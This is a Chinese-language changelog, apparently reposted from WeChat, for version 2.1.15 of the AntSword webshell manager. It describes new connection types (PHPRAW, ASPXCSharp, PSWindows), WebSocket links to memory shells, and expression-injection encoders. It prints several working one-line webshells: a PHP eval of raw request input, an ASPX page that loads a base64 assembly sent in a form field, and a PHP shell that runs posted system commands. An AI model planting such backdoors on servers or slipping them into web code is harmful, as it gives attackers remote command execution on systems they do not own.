AntSword v2.1.15 更新汇总
2022-7-18 00:18:16 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

写在前面

  本次更新涉及内容较多,实在是没空写文档里面了,请仔细阅读,自行做实验体会。如果没搞懂的,可以留言后面再专门写文章来讲清楚。

正文

01

核心

  • 修复 PHP/PHP4 当前目录不可写时, bypass open_basedir 失败的 Bug

  • 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)

  • ❗❗❗新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:

<?php  eval(file_get_contents("php://input")); ?>

          为了方便在团队协作时直连 Behinder3 WebShell, 已内置编码器,仅能支持连接而已,发送Payload不相同

  • ❗❗❗新增 ASPXCSharp 类型

        该类型支持的 WebShell 类似如下代码:

<%@ Page Language="c#"%><%  String Payload = Request.Form["ant"];  if (Payload != null)  {    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));    assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);  }%>

    有关该类型的设计说明, 请参考文章 聊聊新类型 ASPXCSharp

  • ❗❗❗新增 PSWindows 类型,与 CMDLinux 类似

基于命令执行的一句话类型, 仅支持 Windows 环境

该类型支持的 WebShell 类似如下代码:

<?php system($_POST["ant"]);?>

有关 PSWindows 的一些注意事项和原理说明, 请参考 新类型 PSWindows 预览

  • ❗❗❗JSPJS 兼容各种表达式注入

具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考 Java表达式注入的武器化利用

02

后端模块

  • ❗❗❗支持 WebSocket 连接

    由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型

wsMemShell(https://github.com/veo/wsMemShell) 项目中的 wscmd 为例:

URL: ws://127.0.0.1:8080/demoendpointPWD: 随便填写连接类型: CMDLinuxEncoder: default (明文, 这个是WebShell端决定的)Decoder: 根据情况自由选择

注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开

  • 支持自定义 Content-Type, 默认是 form

superagent 支持的 type 简写如下, 当然也支持填写全称:

html: 'text/html',json: 'application/json',xml: 'text/xml',urlencoded: 'application/x-www-form-urlencoded',form: 'application/x-www-form-urlencoded',form-data: 'application/x-www-form-urlencoded'
  • Fix #307

  • 重新规整 modules/request.js 代码结构

  • 调整 superagent ignoreHTTPS 注入,避免 npm upgrade之后引发问题

03

数据管理

  • 优化了编辑 Shell 信息时,URL后缀发生改变后动修改「连接类型」功能

  • 优化插件快捷设置, 修正过多快捷设置后对UI影响(Fix #303). 现在最多可设置 8 个常用插件

  • 新增配置选项「Body 设置为 RAW 模式

勾选该选项后,只会发送 pwd 键下的内容,不会发送键名(也就是口语中的密码

目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」

主要使用的场景如下, 具体有何不同请抓包自行观察:

// 连接类型 CMDLinux, 编码器选择 default 明文// 其它设置里 勾选「Body 设置为 RAW 模式」后可连接<?php system(file_get_contents("php://input"));?>// 与上面作对比// 连接类型 CMDLinux, 密码填 ant, 编码器选择 default 明文<?php system($_POST["ant"]);?>

值得一提的是,ws:// wss:// 这类 WebSocket 连接会自动启用该选项

04

文件管理

  • 新增 FileHash 计算目标文件 hash 功能

    该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS

05

系统设置

  • 优化了新增Core类型时,编码设置解析逻辑, 现在不需要再改该模块的源代码了

  • 优化全局代理设置, 代理在设置完后不需要再重启了

06

其它

  • 更新纯真IP数据库为 2022/04/20 (https://github.com/out0fmemory/qqwry.dat)

  • 升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)

  • 升级 superagent-proxy 到 v3.0.0


长按关注


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247484552&idx=1&sn=75ab5e65e77e8a4ccb1d62f3d1fedd99&chksm=e91c5f70de6bd6664de55576519cbc297fcb94ca4e76de0d05899b3b0de522f9e4e2dd84a730&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh